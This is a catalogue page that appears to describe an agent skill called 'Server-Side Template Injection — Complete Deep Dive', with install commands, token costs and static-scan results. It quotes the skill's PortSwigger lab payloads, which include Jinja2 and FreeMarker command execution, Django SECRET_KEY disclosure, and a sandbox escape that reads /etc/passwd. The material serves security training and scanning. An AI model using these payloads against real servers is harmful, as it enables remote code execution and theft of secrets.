Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/sstiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssti)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssti"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssti/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssti"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssti.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00029 | $0.01237 |
| Opus 5 | $0.00015 | $0.00619 |
| Sonnet 5 | $0.00006 | $0.00247 |
| Haiku 4.5 | $0.00003 | $0.00124 |
Grade A, and why
Server-Side Template Injection — Complete Deep Dive scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial] Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
Walk the MRO chain to find `file` class or `subprocess.Popen`. Copies of this mod
1 near-identical copy found in the catalogue:
- Web Cache Poisoning — Complete Deep Dive — 89% identical, 90 lines differ
How it starts
The opening of the file, as written. The whole thing — 146 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Server-Side Template Injection — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Basic SSTI 🟡 PRACTITIONER
{{7*7}}
If output = 49 → template injection confirmed. Identify engine:
{{7*'7'}}→7777777= Jinja2/Twig{{7*'7'}}→49= Twig${7*7}→ FreeMarker<%= 7*7 %>→ ERB (Ruby)
Lab 2: Basic SSTI code context 🟡 PRACTITIONER
blog-post-author-display=user.name}}{%import+os%}{{os.popen('whoami').read()}}
Break out of expression context, import os module, execute command.
Lab 3: SSTI using documentation 🟡 PRACTITIONER
Read the template engine docs to find dangerous methods:
- Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} - FreeMarker:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Lab 4: Unknown language documented exploit 🟡 PRACTITIONER
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{this}}
{{/with}}
{{/with}}
Identify as Handlebars, then use documented RCE gadget.
Lab 5: Info disclosure via user objects 🟡 PRACTITIONER
{{settings.SECRET_KEY}}
Django: access settings object → extract SECRET_KEY → forge session cookie → admin access.
Lab 6: Sandboxed environment 🔴 EXPERT
Bypass Jinja2 sandbox:
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
Walk the MRO chain to find file class or subprocess.Popen.
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 146 lines · 29 tokens per session scan A a8b91ebfad5c
Server-Side Template Injection — Complete Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 29 tokens to every session and 1,237 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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